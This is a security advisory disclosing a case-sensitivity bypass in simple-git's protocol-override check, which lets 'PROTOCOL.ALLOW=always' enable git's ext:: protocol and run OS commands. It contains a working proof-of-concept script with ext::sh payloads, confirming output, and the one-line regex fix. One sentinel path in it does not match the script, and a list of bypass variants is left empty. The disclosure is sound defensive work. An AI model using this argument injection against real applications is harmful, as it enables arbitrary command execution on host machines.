GHSA-r275-fr43-pm7q

Summary

The blockUnsafeOperationsPlugin in simple-git fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an arbitrary OS command on the host machine.

Details

The preventProtocolOverride function in simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24) checks whether a -c argument configures protocol.allow using this regex:

if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
   return;
}

This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument.

Verification that git normalises the key:

$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always

The fix is a single character — add the /i flag:

// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {

// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {

poc.js

/**
 * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
 *
 * CVE-2022-25912 was fixed in [email protected] by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Affected : simple-git >= 3.15.0 (all versions with the fix applied)
 * Tested on: [email protected], Node.js v23.11.0, git 2.39.5
 * Reporter : CodeAnt AI Security Research ([email protected])
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex
]).catch((e) => {
  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex
]).catch((e) => {
  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app expects):
//   simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',
//                     '/tmp/codeant-quality-gates', userArgs)
//
// Attacker-controlled scenario (what actually runs when args are not sanitised):
const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';
const CLONE_DEST     = '/tmp/codeant-quality-gates';
const SENTINEL_RW    = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}

const userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
  attackerURL,   // should have been LEGITIMATE_URL
  CLONE_DEST,
  userArgs
).catch(() => {
  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',
    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');
});

Test Results

Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)

Result: BLOCKED ✅

The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.

Output:

ext:: executed:poc not created
GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol
    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)
    at .../simple-git/dist/cjs/index.js:1266:40
    at Array.forEach (<anonymous>)
    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)
    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)
    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {
  task: {
    commands: [
      'clone',
      '-c',
      'protocol.ext.allow=always',
      'ext::sh -c touch% /tmp/pwn-original% >&2',
      '/tmp/example-new-repo'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  },
  plugin: 'unsafe'
}

Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)

Result: BYPASSED ⚠️ — RCE confirmed

The preventProtocolOverride regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.

Output:

ext:: executed: PWNED — /tmp/pwn-codeant created
GitError: Cloning into '/tmp/example-new-repo-2'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {
  task: {
    commands: [
      'clone',
      '-c',
      'PROTOCOL.ALLOW=always',
      'ext::sh -c touch% /tmp/pwn-codeant% >&2',
      '/tmp/example-new-repo-2'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  }
}

/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.

Vector 3 — Real-world scenario (target: https://github.com/CodeAnt-AI/codeant-quality-gates)

Result: BYPASSED ⚠️ — RCE confirmed

An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.

Output:

real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created

/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.

Summary

The case-sensitive regex in preventProtocolOverride blocks protocol.*.allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.

/tmp/pwned is created by the git subprocess via the ext:: protocol.

All of the following bypass the check:

Impact

Any application that passes user-controlled values into the customArgs parameter of clone(), fetch(), pull(), push() or similar simple-git methods is vulnerable to arbitrary command execution on the host machine.

The ext:: git protocol executes an arbitrary binary as a remote helper. With protocol.allow=always enabled, an attacker can run any OS command as the process user — full read, write and execution access on the host.